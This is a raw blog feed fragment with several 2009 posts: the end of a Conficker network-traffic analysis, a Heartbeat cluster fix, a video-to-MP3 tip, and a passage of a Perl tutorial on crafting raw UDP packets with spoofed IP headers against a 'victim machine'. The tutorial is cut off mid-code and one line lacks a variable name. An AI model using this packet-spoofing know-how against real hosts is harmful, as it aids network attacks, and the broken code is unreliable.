src="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6N-YZr19I/AAAAAAAAAEE/SP9OQ7WHvRw/s400/DNS.PNG" alt="" id="BLOGGER_PHOTO_ID_5376891107968538578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Fact #4: Trying to get my IP address. :(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Q: This could be a trojan or a bot.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;By finding and sending my IP address, a bad guy/cracker can try to gain remote access to my computer. Well I dont really think so, I aint that special. I am just another bot in the bot herder's army.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/Sp6N4CYDyZI/AAAAAAAAAD8/X-M11J7a5B8/s1600-h/Attack.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 236px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/Sp6N4CYDyZI/AAAAAAAAAD8/X-M11J7a5B8/s400/Attack.PNG" alt="" id="BLOGGER_PHOTO_ID_5376890998976924050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Fact #5:SMB negotiation, trying to gain anonymous access through port 445.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Q: Now I am sure this thing has something to do with a microsoft smb vulnerability, or may be its just trying something with anonymous shares.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Well, microsoft has its share of security problems. Whenever a remotely exploitable vulnerability appears, you can always expect a new worm coming in. No surprises here. This makes business happen, antiviruses get their acknowledgment. Advisories are out. And the bad guys make money too. Windows security gets another blow. And a lot of people lose money as well. &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6OMMvwg2I/AAAAAAAAAEU/tXb-bvIgmzA/s1600-h/Nailed.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 236px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6OMMvwg2I/AAAAAAAAAEU/tXb-bvIgmzA/s400/Nailed.PNG" alt="" id="BLOGGER_PHOTO_ID_5376891345358062434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Fact #6: This was the last part, the hidden dll was in the form of a bmp image file hidden deep inside the caves of Internet Explorer.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Q: Why couldnt I find it myself?? huh!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Catching a popular worm without an antivirus is very hard these days. Although in my past I cleaned some of the relatively 'friendly' worms without using an antivirus at all. yeah they would let me sneak in ultimately give up their positions. Its fun and its like solving a puzzle.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-3875131286795961076?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/3875131286795961076/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/09/conficker-network-traffic-wireshark.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3875131286795961076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3875131286795961076'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/09/conficker-network-traffic-wireshark.html' title='Conficker Network Traffic [ Wireshark Captures ]'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6ORkXCI_I/AAAAAAAAAEc/YR6oWqaHEl0/s72-c/p2p.PNG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-1238306670941582747</id><published>2009-08-29T10:38:00.000+05:30</published><updated>2009-08-29T10:59:31.193+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='High Availability Cluster Linux Heartbeat apache wget error'/><title type='text'>High Availability Cluster using Heartbeat</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;Recently the problem I was facing while using the heartbeat 2.1.4 package was that my slave wasnt taking over, after the fail over condition. When I saw the logs I saw that there were messages related to failure in starting the apache:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;ResourceManager[1769]:  2009/08/27_06:57:37 info: Running /etc/ha.d/resource.d/apache  start &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2212]:   2009/08/27_06:57:38 INFO: httpd2: Could not reliably determine the server's fully qualified domain name, using 192.168.69.209 for ServerName &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2212]:   2009/08/27_06:57:38 INFO: apache not running &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2212]:   2009/08/27_06:57:38 INFO: waiting for apache /etc/apache2/httpd.conf to come up &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2212]:   2009/08/27_06:57:39 ERROR: command failed: sh -c wget -O- -q -L --bind-address=127.0.0.1 http://localhost:80/server-status | tr '\012' ' ' | grep -Ei "&lt;!-- *body *--&gt;[[:space:]]*&lt;!-- *html *--&gt;" &gt;/dev/null &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2201]:   2009/08/27_06:57:39 ERROR:  Generic error &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;ResourceManager[1769]:  2009/08/27_06:57:39 ERROR: Return code 1 from /etc/ha.d/resource.d/apache &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;ResourceManager[1769]:  2009/08/27_06:57:39 CRIT: Giving up resources due to failure of apache &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;ResourceManager[1769]:  2009/08/27_06:57:39 info: Releasing resource group: node09 IPaddr::9.12.34.100 ldirectord apache &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;ResourceManager[1769]:  2009/08/27_06:57:39 info: Running /etc/ha.d/resource.d/apache  stop &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2456]:   2009/08/27_06:57:41 INFO: Killing apache PID 2363 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2456]:   2009/08/27_06:57:41 INFO: apache stopped. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2445]:   2009/08/27_06:57:41 INFO:  Success &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;ResourceManager[1769]:  2009/08/27_06:57:41 info: Running /etc/ha.d/resource.d/ldirectord  stop &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;ResourceManager[1769]:  2009/08/27_06:57:41 info: Running /etc/ha.d/resource.d/IPaddr 9.12.34.100 stop &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;IPaddr[2679]:   2009/08/27_06:57:41 INFO: ifconfig eth0:0 down &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;IPaddr[2662]:   2009/08/27_06:57:41 INFO:  Success &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;heartbeat[1755]: 2009/08/27_06:57:41 info: local HA resource acquisition completed (standby). &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;heartbeat[1666]: 2009/08/27_06:57:41 info: Standby resource acquisition done [foreign]. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;heartbeat[1666]: 2009/08/27_06:57:41 info: Initial resource acquisition complete (auto_failback) &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;heartbeat[1666]: 2009/08/27_06:57:42 info: remote resource transition completed. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;hb_standby[2751]:       2009/08/27_06:58:12 Going standby [foreign]. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;heartbeat[1666]: 2009/08/27_06:58:12 info: node09 wants to go standby [foreign]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After inspecting the apache, everything seemed to fine. Even the ha apache scripts could successfully start/stop the apache except for the unknown wget error:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apache[2212]:   2009/08/27_06:57:39 ERROR: command failed: sh -c wget -O- -q -L --bind-address=127.0.0.1 http://localhost:80/server-status | tr '\012' ' ' | grep -Ei "&lt;!-- *body *--&gt;[[:space:]]*&lt;!-- *html *--&gt;" &gt;/dev/null&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After some initial debugging by setting the debug option "set -x" in apache start script (/etc/ha.d/resource.d/apache), I found the script where the problem was occurring. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;/usr/lib/ocf/resource.d//heartbeat/apache&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;It seems that even if the apache starts successfully, the script returns an error code because of the failure in the execution of command. In general, apache doesnt seem to have the server-status facility enabled by default. (and I dont know how and why should I enable it) So for the quick fix its better to comment the erroring command.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;##ocf_run sh -c "$WGET $WGETOPTS $STATUSURL | tr '\012' ' ' | grep -Ei \"$TESTREGEX\" &gt;/dev/null" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I still dont understand the reason when ha should give up the network resources just because a service failed to start. It mught be a bug though, I never faced such a problem in former ha versions. In those times the apache scripts used to be very simple.&lt;br /&gt;&lt;br /&gt;LInks:&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://www.linux-ha.org/"&gt;http://www.linux-ha.org/&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-1238306670941582747?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/1238306670941582747/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/08/high-availability-cluster-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/1238306670941582747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/1238306670941582747'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/08/high-availability-cluster-using.html' title='High Availability Cluster using Heartbeat'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-3872278547780937944</id><published>2009-08-19T16:26:00.000+05:30</published><updated>2009-08-19T17:20:40.253+05:30</updated><title type='text'>Converting Youtube flv files to MP3</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;OK, this one is a quickie. Just thought about sharing this. How many times you liked the background soundtrack being played in a youtube video. I bet you also felt like saving the video or bookmarking it only because you liked the soundtrack (who cares about the video). Yeah in today's small world its possible that while watching a video created by a Brazilian hacker you actually liked their song. I remember while watching a Sanath Jayasuria video I liked a Srilankan song so much that I actually searched for it. Alas, I could never understand the local lyrics , and so the search was tougher. oops deviating too much from the actual topic. Short and simple, if you want to extract the soundtrack from an flv file, you can use a tool called Super. You can use it for extracting the soundtrack from the video and saving it as an MP3 file that can be later played on your ipod.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;And if you are still looking something for downloading a youtube video, then get DownloadHelper addon for mozilla. In short DownloadHelper helps you download any video on a web page for which you dont see an explicit link. Or as its best written ijn their description &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;"The easy way to download and convert Web videos from hundreds of YouTube-like sites."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; Here is a pic of Super in action, just start Super, drag your flv file on it, and you will find the mp3 in the output folder of install location of Super.(Typically Program Files/erightsoft)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/SovdrEqyBII/AAAAAAAAAD0/TNHEXbUCVoM/s1600-h/untitled.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 370px; height: 400px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/SovdrEqyBII/AAAAAAAAAD0/TNHEXbUCVoM/s400/untitled.PNG" alt="" id="BLOGGER_PHOTO_ID_5371630712626742402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Links below:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Super:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.erightsoft.com/SUPER.html"&gt;http://www.erightsoft.com/SUPER.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;DownLoad Helper:&lt;/span&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/3006"&gt;https://addons.mozilla.org/en-US/firefox/addon/3006&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-3872278547780937944?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/3872278547780937944/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/08/converting-youtube-flv-files-to-mp3.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3872278547780937944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3872278547780937944'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/08/converting-youtube-flv-files-to-mp3.html' title='Converting Youtube flv files to MP3'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_e-VL6LAQQaw/SovdrEqyBII/AAAAAAAAAD0/TNHEXbUCVoM/s72-c/untitled.PNG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-7423539327586712770</id><published>2009-08-15T12:07:00.000+05:30</published><updated>2009-08-17T22:16:49.120+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Packet'/><category scheme='http://www.blogger.com/atom/ns#' term='capture'/><category scheme='http://www.blogger.com/atom/ns#' term='pack'/><category scheme='http://www.blogger.com/atom/ns#' term='UDP Bomb'/><category scheme='http://www.blogger.com/atom/ns#' term='unpack'/><category scheme='http://www.blogger.com/atom/ns#' term='header'/><category scheme='http://www.blogger.com/atom/ns#' term='Ip'/><category scheme='http://www.blogger.com/atom/ns#' term='net-packet'/><category scheme='http://www.blogger.com/atom/ns#' term='wireshark'/><category scheme='http://www.blogger.com/atom/ns#' term='TCP'/><category scheme='http://www.blogger.com/atom/ns#' term='UDP'/><category scheme='http://www.blogger.com/atom/ns#' term='spoofing'/><title type='text'>Creating a UDP Packet/IP Spoofing through PERL</title><content type='html'>&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;Introduction &lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;&lt;br /&gt;************&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;***&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;For the past few days I was trying to create a program which could generate continous UDP traffic for me. And since I am reading about perl these days,  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;I thought why shouldnt I try my luck on perl. And yes, I found it to be very easy and simple to understand plus it was great fun. Well, frankly speaking  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;generating UDP traffic isnt a very big deal. You can google about it and you will find loads of results. But I went one step further, in fact the udp  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;traffic generator didnt solve my problem. I wanted to create a UDP datagram, where I could tweak the UDP header values and change them to what I wanted. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Normal socket calls in perl dont allow you to tweak the actual header fields. So I searched on the internet on how I could create a raw packet through  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;perl. I came across two such links which gave me clues,  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;first its a module named Net Packet in perl, which allows you to create packets. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://search.cpan.org/%7Egomor/Net-Packet/"&gt;http://search.cpan.org/~gomor/Net-Packet/ &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;second a perl script created by a guy named 'cleen' which creates RAW TCP/IP packet. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.perlmonks.org/index.pl?node_id=17576&amp;amp;lastnode_id=63535"&gt;http://www.perlmonks.org/index.pl?node_id=17576&amp;amp;lastnode_id=63535&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Well, for my this script I mainly followed cleen's tutorial, and I crafted my own UDP packet. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;The only problem is that I am still learning how to make things happen in perl, and so I try to keep &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;things as simple as I can, which even means no functions or subroutines and minimum use of perl modules like Net Packet. :( &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;So here we go, the steps should be helpful to anyone who wants learn how to create raw udp packets (or even any other,  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;for TCP/IP you can follow the link for cleen's tute), I would explain the basics and the knowledge that you must have. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Requirements &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;&lt;br /&gt;******************&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;1. Obviously you need perl installation. :D&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;2. You must understand the header format for IP and UDP, i.e. the fields in these headers and their length in bits/bytes. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;I have listed the links at the bottom for reference. Yeah reading them is worth it. :)&lt;br /&gt;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;3. Knowledge of perl function "pack" and how to send/recieve data using sockets in perl (trivial :)) &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;4. Brief idea of tcpdump or wireshark, this is helpful for debugging, if you mess something in your packet.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;Setup&lt;br /&gt;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;********&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;The setup consists of two machines:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;Machine A: Attack machine. (Linux)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Machine B: Victim machine. (Linux) &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;I will run my script from machine A, the script will generate and send a UDP packet to machine B. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;A wireshark or Tcpdump will be running on Machine B, (and on Machine A as well) which will capture the UDP packet. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;A wireshark/tcpdump on victim machine B will ensure that our UDP packet reached successfully. If your UDP packet  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;isnt formed correctly (bad use of pack function or any missing header field) then machine A will not send it to  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;the victim machine. Thats where the wireshark/tcpdump on Machine A will show you the wrongly made packet.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;In this way you can ensure from machine A tcpdump, that you constructed the UDP packet correctly.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Dont worry too much if you dont understand the above shit, you will learn it in the later part of the tutorial.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;Creating the UDP Header&lt;br /&gt;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;******************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;First we create a UDP header. The UDP header and data consists of 5 fields. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Source port, Destination port, length of the UDP packet, Checksum and the UDP data that you are going to send. For details  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;of a UDP packet header fields, read some stuff from here: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.networksorcery.com/enp/protocol/udp.htm"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;http://www.networksorcery.com/enp/protocol/udp.htm &lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I havent used the udp checksum part, as I didnt need it for my test. My source port is 33333 and my destination port is 7. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;You can choose any source port above 1024, and for the destination port, the udp echo service runs on port 7.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;You can use any other destination port as well. But its necessary to use a port which is running a udp service,  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;like echo or chargen. Because only then the vulnerable linux will process our UDP packet. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;For this service you may need to enable it manually, as its disabled by default.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Just go to the /etc/xinetd.d directory of the victim machine B and look for the file named echo-dgram or echo-udp.  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Open it and change the line  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;"disable         = yes" to  "disable         = no". &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;The restart the xinetd daemon by the command: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;service xinetd stop&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;service xinetd start &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This would enable your echo service on udp port 7. Check it by netstat output: &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&lt;br /&gt;[root@ip9-12-34-239 xinetd.d]# netstat -an | grep udp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;udp        0      0 0.0.0.0:7                   0.0.0.0:*  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The third field is the udp length field. Since our packet contains 4 fields (src port, dest port, length and checksum) that  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;are each 16 bit (2 bytes)  wide and a data field that could be anything, the udp length would be minimum 8 bytes and for a data  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;like "TEST" it would be 8 + 4 = 12 bytes. Thats it, our udp packet is ready (oh I mean we have ignored the checksum calculation,  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;and we are making it zero for this test)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;$src_port = 33333;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;$dest_port = 7;&lt;br /&gt;&lt;/span&gt; &lt;span style="color: rgb(255, 255, 0);"&gt;$len = 12;     &lt;/span&gt; &lt;span style="color: rgb(255, 255, 0);"&gt;&lt;br /&gt;$cksum = 0;&lt;br /&gt;&lt;/span&gt; &lt;span style="color: rgb(255, 255, 0);"&gt;$data = "TEST"; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;Creating the IP Header&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;*****************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The next part is the IP part (IP header). &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;Read about the IP header and its fields and respective field lengths here: &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.networksorcery.com/enp/protocol/ip.htm"&gt;&lt;br /&gt;http://www.networksorcery.com/enp/protocol/ip.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The IP part I have taken from cleen's code. Credits to him as I couldnt find any other tute on creating and formatting (use of pack here) &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;the Ip header. Just understand the importance of each field, there is not much to change here except the checksum part, the ip total  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;length, and the underlying protocol code.The checksum is set to zero. Dont worry about the ip checksum as it would be calculated by  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;the kernel. The IP total length is the length of IP header (which is 20 bytes + the UDP part which is 12 bytes = 32 bytes). The  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;underlying protocol in our case is udp, which has the code of 17. Alternatively you can use the function getprotobyname to generate  &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;the protocol code.  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; my $ip_ver             = 4;&lt;br /&gt;my $ip_len             = 5;&lt;br /&gt;my $ip_ver_len         = $ip_ver . $ip_len;&lt;br /&gt;my $ip_tos             = 00;&lt;br /&gt;my ($ip_tot_len)       = $udp_len + 20;&lt;br /&gt;my $          = 19245;&lt;br /&gt;my $ip_frag_flag       = "010";&lt;br /&gt;my $ip_frag_oset       = "0000000000000";&lt;br /&gt;my $ip_fl_fr           = $ip_frag_flag . $ip_frag_oset;&lt;br /&gt;my $ip_ttl             = 30;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 